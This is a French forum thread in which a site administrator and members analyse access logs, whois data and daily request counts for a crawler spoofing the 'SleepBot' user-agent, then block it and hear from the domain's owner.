34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /sfr-les-news/nouveau-decodeur-stb7/60?PHPSESSID=7213vhdmp3o6foej2fo4nijros HTTP/1.1" 200 11405 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.37.147 59472 TLSv1.3 [04/Jul/2026:09:25:30 +0200] "GET /tarn/reseau-dinitiative-publique-du-tarn-sfr/60?PHPSESSID=10irhc4cq658jcu63be7fljafq HTTP/1.1" 200 12795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.58.253.108 42270 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-les-news/controler-son-reseau-livebox-5-ou-6/36?PHPSESSID=cusnjio9hd5av9oud6as02repi HTTP/1.1" 200 13158 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=q0dsab17thpttho4cjng8musmj HTTP/1.1" 200 14076 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.226.74.100 38032 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /installation-free/passer-dorange-a-free?PHPSESSID=4qn219l5hu3u4ik0brm6oljrd8 HTTP/1.1" 200 10170 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.72.112.88 35700 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /1gb-free/200?PHPSESSID=s734ril13ncu840sgd58fv4p3i HTTP/1.1" 200 13851 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.94.20 52240 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /1gb-free/debit-up-bride-depuis-une-semaine/36?PHPSESSID=984jsi0bcbna9mris0743ck0qk HTTP/1.1" 200 15293 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /free-mobile/dim-freemobile-laon/36?PHPSESSID=93tpj5cafcss6di4fnqe5hvso1 HTTP/1.1" 200 8736 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.66.8.7 41756 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=hj42598k1cuhdqjve9q1konut3 HTTP/1.1" 200 10758 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=viguqgg7l5v5ul2879mo79logh HTTP/1.1" 200 10756 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-debit/rx-lb6-apres-travaux-sur-reseau/12?PHPSESSID=jhm1hjffh2tsch2lj1dqj3n6vu HTTP/1.1" 200 10367 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.94.20 52240 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-les-news/orange-livebox-wi-fi-7/48?PHPSESSID=lmlaogq56mll0s4udns2fami2j HTTP/1.1" 200 10705 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.72.112.88 35700 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /free-mobile/vieux-smartphone-et-reseau-3g/24?PHPSESSID=r4vhq0pr297quvl574fa0qm2c6 HTTP/1.1" 200 12958 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /eure/eure-normandie-numerique-vous-repond/24?PHPSESSID=v1o1rmb7v242cvqua94lmn5v2d HTTP/1.1" 200 14183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.112.124.233 36710 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /1gb-free/soucis-debit-freebox-ultra/48?PHPSESSID=l5uk14mbks3rnq4uvqodhvvbna HTTP/1.1" 200 12971 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /freemobile-box?PHPSESSID=kh7p1fqs5btmkc07d58jdb42fp HTTP/1.1" 200 10860 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.255.8.171 42548 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /remplacer-freebox/ubiquiti-udm-pro-a-la-place-de-la-delta/24?PHPSESSID=arkeu2ll32q6tkop7squmjfnta HTTP/1.1" 200 13571 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.114.184.222 46058 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /installation-ftth/changement-des-dns-bbox-alertons-larcep/12?PHPSESSID=vlu672qm6ubj6f498krv7qg08o HTTP/1.1" 200 15659 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.188.33.184 44510 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /numerique-responsable/antennes-relais-solaire/12?PHPSESSID=t4pnbjnt1e4vq563c3reillvt2 HTTP/1.1" 200 11558 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.58.253.108 42270 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /orange-les-news/livebox-4k-fibre-vos-avis-evolutions-bugs-mises-a-jour?PHPSESSID=vs15u2mk3koip76mk50ijr58ho HTTP/1.1" 200 10388 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.123.197.63 39388 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /1gb-free/120?PHPSESSID=u9efa9b5s8tnmdi0n6l0kia9el HTTP/1.1" 200 14016 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.253.90.163 36144 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /free-mobile/degradation-du-reseau-free-mobile/24?PHPSESSID=nbjrllqfg488ga155sh8roesq4 HTTP/1.1" 200 13283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.60.108.253 44222 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /free-mobile/free-va-lancer-ses-cartes-prepayees/12?PHPSESSID=sk1a10t58saoe87msi49our3l1 HTTP/1.1" 200 14842 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.134.176.29 37964 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /orange-les-news/nouvelle-mise-a-jour-firmware-livebox5/36?PHPSESSID=22b4u8maou7ujte1s3h41kv68s HTTP/1.1" 200 13186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.255.8.171 42548 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /4g-bytel/arnaque-forfait-1go/24?PHPSESSID=eomj82kta3oei8vr08m0gscq35 HTTP/1.1" 200 9920 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.111.183.240 60128 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /installation-ftth/changement-des-dns-bbox-alertons-larcep/36?PHPSESSID=b4gk6h6g05f1hcgfe8qurlh0a5 HTTP/1.1" 200 10479 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.112.124.233 36710 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /orange-les-news/barre-de-son-cabasse-for-orange/24?PHPSESSID=brg6a7ahf4tg40c1o6d6gkfknn HTTP/1.1" 200 9470 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /1gb-free/soucis-debit-freebox-ultra/60?PHPSESSID=actk21fhl1r029kctbnabaei14 HTTP/1.1" 200 6714 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: buddy le 04 juillet 2026 à 11:23:28
Bonjour,

effectivement si il ne sert pas à grand chose ...
Sinon manifestement tu peux le limiter en req/min via apache/nginx, ça peut être une solution intermédiaire ...
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 04 juillet 2026 à 11:29:33
J'ai commencé par mettre ces lignes dans mon robots.txt
User-agent: SleepBot
Disallow: /

On va voir si c'est efficace.

Par contre, il ne va voir ce fichier que tous les 3/4 jours. Dernière requête le 1er juillet, il ne devrait pas tarder à de nouveau le charger.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 04 juillet 2026 à 12:03:07
700.000 requêtes, c'est quand même énorme, et si cela date d'un mois environ, il y a eu un gros changement de comportement de ce robot. A quoi peuvent servir 700.000 requêtes par jour ? Il y a loin d'avoir autant de nouveaux messages chaque jour.
Est-ce qu'il y a un moyen de s'adresser à Google pour demander des explications ? Ou qu'ils vérifient.

Au vu du nombre de requêtes, je serais pour le bloquer. il y a encore eu des lenteurs sur le site ces derniers jours...

Tu devrais voir dans quelques heures s'il respecte le robots.txt.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: alain_p le 04 juillet 2026 à 12:43:28
En fait, après vérification, je trouve que l'IPv4 est chez Amazon :

$ host sleepbot.com
sleepbot.com has address 34.228.128.161
sleepbot.com has IPv6 address ::ffff:34.228.128.161
sleepbot.com mail is handled by 0 mx.sleepbot.com.

$ whois 34.228.128.161
...
NetRange:       34.192.0.0 - 34.255.255.255
CIDR:           34.192.0.0/10
NetName:        AT-88-Z
NetHandle:      NET-34-192-0-0-1
Parent:         NET34 (NET-34-0-0-0-0)
NetType:        Direct Allocation
OriginAS:
Organization:   Amazon Technologies Inc. (AT-88-Z)
RegDate:        2016-09-12
Updated:        2016-09-12
Ref:            https://rdap.arin.net/registry/ip/34.192.0.0


OrgName:        Amazon Technologies Inc.
OrgId:          AT-88-Z
Address:        410 Terry Ave N.
City:           Seattle
StateProv:      WA
PostalCode:     98109
Country:        US
RegDate:        2011-12-08
Updated:        2026-04-17
Comment:        All abuse reports MUST include:
Comment:        * src IP
Comment:        * dest IP (your IP)
Comment:        * dest port
Comment:        * Accurate date/timestamp and timezone of activity
Comment:        * Intensity/frequency (short log extracts)
Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref:            https://rdap.arin.net/registry/entity/AT-88-Z

...
OrgAbuseHandle: AEA8-ARIN
OrgAbuseName:   Amazon EC2 Abuse
OrgAbusePhone:  +1-206-555-0000
OrgAbuseEmail:  trustandsafety@support.aws.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN
...

Peut-être essayer d'envoyer un mail à l'adresse abuse, avec les informations demandées ?

Ou encore mieux, contacter l'auteur de sleepbot.com : https://sleepbot.com/lookit/etc/dfoley.html

Ce site a très bien pu être piraté.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 04 juillet 2026 à 14:17:13
Sur HackerNews (https://news.ycombinator.com/item?id=48582005) quelqu'un a remarqué que la personne derrière le site abandonné https://sleepbot.com/ semble avoir travaillé pour la boite de "media intelligence" Zignal Labs (Wikipedia (https://en.wikipedia.org/wiki/Zignal_Labs)), ce qui implique du scrapping... Leur description sur LinkedIn dit "Agentic Intelligence for National Security".

Ce qui est étonnant c'est que le useragent "SleepBot" semble n'être apparu pour la 1ère fois qu'autour de mars de cette année, et il ne bosse plus chez Zignal Labs depuis 2019.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 04 juillet 2026 à 16:25:35
En fait, après vérification, je trouve que l'IPv4 est chez Amazon :
Le site web sleepbot.com a une IPv4 chez Amazon et une IPv6 déclarée dans le DNS qui n'est pas correcte ( ::ffff:34.228.128.161 ).

Par contre, les robots qui accèdent au forum sont tous chez Google et ne semblent pas utiliser IPv6.

Voici les stats pour la journée d'hier :
Voici ce que cela donne sur ce forum, sur les logs du 3 juillet 2026 :

(cliquer sur l'image pour zoomer)
(https://lafibre.info/images/stats/202607_stats_lafibre_top_requetes_par_ip_avec_user-agent.webp) (https://lafibre.info/images/stats/202607_stats_lafibre_top_requetes_par_ip_avec_user-agent.webp)

Uniquement des IPv4, pourtant le site écoute bien en IPv6, mais les IP qui sollicitent le plus Apache sont dans mon cas toutes des IPv4.

La première IP, c'est clairement du déni de service, qui est depuis bloquée.
Les deux IP suivantes sont les robots pour faire fonctionner les IA ChatGPT et Claude.
On a ensuite plusieurs IP d'un prétendu user-agent SleepBot qui va être bloqué.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 04 juillet 2026 à 18:00:16
J'ai regardé jour par jour : Les requêtes avec l'user agent SleepBot/1.0 ont une caractéristique, leur fréquence augmente chaque jour :

(https://lafibre.info/images/stats/202607_stats_lafibre_sleepbot.webp)

Date            Nb requêtes
23 mars 2026    0
24 mars 2026    2
25 mars 2026    1
26 mars 2026    1
27 mars 2026    1
28 mars 2026    3
29 mars 2026    1
30 mars 2026    1
31 mars 2026    1
 1 avril 2026   1
 2 avril 2026   0
 3 avril 2026   2
 4 avril 2026   730
 5 avril 2026   41
 6 avril 2026   1
 7 avril 2026   1
 8 avril 2026   1
 9 avril 2026   1
10 avril 2026   1
11 avril 2026   1
12 avril 2026   1
13 avril 2026   1
14 avril 2026   46
15 avril 2026   8
16 avril 2026   2
17 avril 2026   7
18 avril 2026   3
19 avril 2026   2
20 avril 2026   4
21 avril 2026   12
22 avril 2026   6
23 avril 2026   3
24 avril 2026   24
25 avril 2026   16
26 avril 2026   7
27 avril 2026   7
28 avril 2026   3
29 avril 2026   5
30 avril 2026   7
   1 mai 2026   32
   2 mai 2026   49
   3 mai 2026   10
   4 mai 2026   11
   5 mai 2026   15
   6 mai 2026   23
   7 mai 2026   28
   8 mai 2026   19
   9 mai 2026   13
  10 mai 2026   24
  11 mai 2026   24
  12 mai 2026   41
  13 mai 2026   14
  14 mai 2026   34
  15 mai 2026   33
  16 mai 2026   36
  17 mai 2026   57
  18 mai 2026   121
  19 mai 2026   446
  20 mai 2026   3 313
  21 mai 2026   3 413
  22 mai 2026   3 704
  23 mai 2026   4 460
  24 mai 2026   4 455
  25 mai 2026   6 386
  26 mai 2026   8 652
  27 mai 2026   10 035
  28 mai 2026   18 092
  29 mai 2026   12 424
  30 mai 2026   17 941
  31 mai 2026   25 836
  1 juin 2026   33 853
  2 juin 2026   30 421
  3 juin 2026   34 937
  4 juin 2026   42 308
  5 juin 2026   47 356
  6 juin 2026   49 874
  7 juin 2026   55 659
  8 juin 2026   53 422
  9 juin 2026   72 704
 10 juin 2026   83 143
 11 juin 2026   105 645
 12 juin 2026   121 254
 13 juin 2026   132 702
 14 juin 2026   137 852
 15 juin 2026   153 804
 16 juin 2026   171 957
 17 juin 2026   201 514
 18 juin 2026   230 880
 19 juin 2026   266 539
 20 juin 2026   297 659
 21 juin 2026   354 198
 22 juin 2026   417 095
 23 juin 2026   469 116
 24 juin 2026   480 179
 25 juin 2026   625 833
 26 juin 2026   665 114
 27 juin 2026   736 905
 28 juin 2026   719 707
 29 juin 2026   732 581
 30 juin 2026   732 718
1 juillet 2026  762 171
2 juillet 2026  774 601
3 juillet 2026  736 076


Ce 4 juillet, on a déjà dépassé 590 000 requêtes et la journée n'est pas terminée.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: acut3 le 04 juillet 2026 à 18:32:46
Tu pourrais contacter le gars de sleepbot.com (via LinkedIn j'imagine, puisqu'il n'y a plus de serveur de mail sur mx.sleepbot.com) histoire de savoir ce qu'il en dit... Même si je soupçonne qu'il n'a rien à voir avec le bot. Ca pique ma curiosité, mais je ne vais pas le contacter moi puisque ça ne me concerne pas directement.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 04 juillet 2026 à 18:44:53
J'ai contacté Dan Foley sur LikdIn. Merci de l'idée.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 05 juillet 2026 à 07:48:30
J'ai bloqué ce matin SleepBot. Cela va soulager le CPU.

Hier, il y a eu 782 457 requêtes, un record, donc la hausse n'était pas terminée...

Le robot a bien chargé robot.txt hier soir :

IPv4         Port src TLS        Date               Heure                       URL                                 code taille   referrer url                                 User Agent
34.66.8.7 44084 TLSv1.3 [04/Jul/2026:19:09:38 +0200] "GET /robots.txt HTTP/1.1" 200 584 "http://lafibre.info/robots.txt" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"


Toutefois, il n'en a pas tenu compte. Cela a continué, même aujourd'hui avec l'IP qui a visité robots.txt
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 05 juillet 2026 à 22:03:34
J'ai bloqué.

Voici l'impact du seul blocage de SleepBot/1.0 (j'ai mis une ligne rouge pour bien visualiser quand j'ai bloqué)


(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_1.webp)

(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_2.webp)

(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_3.webp)
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: timpera le 05 juillet 2026 à 22:13:12
C'est lunaire d'arriver à faire 780 000 requêtes par jour, ce robot est sacrément mal fait.

J'ai regardé par curiosité sur mon site internet personnel et il y a bien Sleepbot dans les logs, mais il se comporte bien, avec seulement ~50 requêtes par jour, soit infiniment moins que celles des autres robots d'IA (~10000/jour de la part d'OpenAI par exemple, principalement "ChatGPT-User").
Ça pique ma curiosité
Pareil, je suis également curieux d'avoir la réponse si jamais tu finis par trouver qui est derrière ça  ;D
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: timpera le 05 juillet 2026 à 22:19:50
J'ai regardé les log et j'ai pris quelques IP suspectes qui viennent de faire du trafic il y a quelques secondes :
D'ailleurs, je vois que pas mal de ces IP sont enrôlées dans le service de proxy résidentiel NetNut (on peut le voir via le site ipinfo.io), qui a été victime d'une action conjointe du FBI et de Google il y a 3 jours : https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks?hl=en
Citer
Nous estimons que nos actions coordonnées ont entraîné une dégradation significative du réseau de proxys de NetNut et de ses activités commerciales, réduisant de plusieurs millions le parc d’appareils disponibles pour l’opérateur de proxys. Outre la vente d’accès au réseau sous la marque NetNut, NetNut dispose d’un programme de revendeurs solide qui permet la commercialisation en marque blanche de son réseau. Google est convaincu que de nombreuses marques populaires de proxys résidentiels proposent en réalité le botnet de NetNut en marque blanche. Bien que nous nous attendions à ce que cette perturbation ait un effet d'entraînement plus important sur l'ensemble de l'écosystème des proxys résidentiels, les observations réalisées après la perturbation d'IPIDEA ont démontré que certains réseaux peuvent se montrer résilients. Nous avons constaté que, confrontés à la dégradation de leur propre botnet, les opérateurs de proxys commencent à acheter de la capacité auprès de leurs concurrents, devenant ainsi, de fait, des revendeurs.
Titre: Des petits malins usurpent le robot d'indexation de Google, Googlebot
Posté par: vivien le 07 juillet 2026 à 21:07:24
Tu pourrais contacter le gars de sleepbot.com (via LinkedIn j'imagine, puisqu'il n'y a plus de serveur de mail sur mx.sleepbot.com) histoire de savoir ce qu'il en dit... Même si je soupçonne qu'il n'a rien à voir avec le bot. Ca pique ma curiosité, mais je ne vais pas le contacter moi puisque ça ne me concerne pas directement.

Je l'ai contacté et il m'a répondu :

the traffic is not me. some other actor is using my site in their User-Agent for some unknown reason
 
you're not the first person to ask -- i'm quite miffed that someone is abusing my domain name

Traduction rapide en Français :

Ce trafic ne vient pas de moi. Un autre acteur utilise mon site dans son en-tête User-Agent, pour une raison inconnue.

Vous n'êtes pas la première personne à poser la question ; je suis assez agacé que quelqu'un détourne ainsi mon nom de domaine.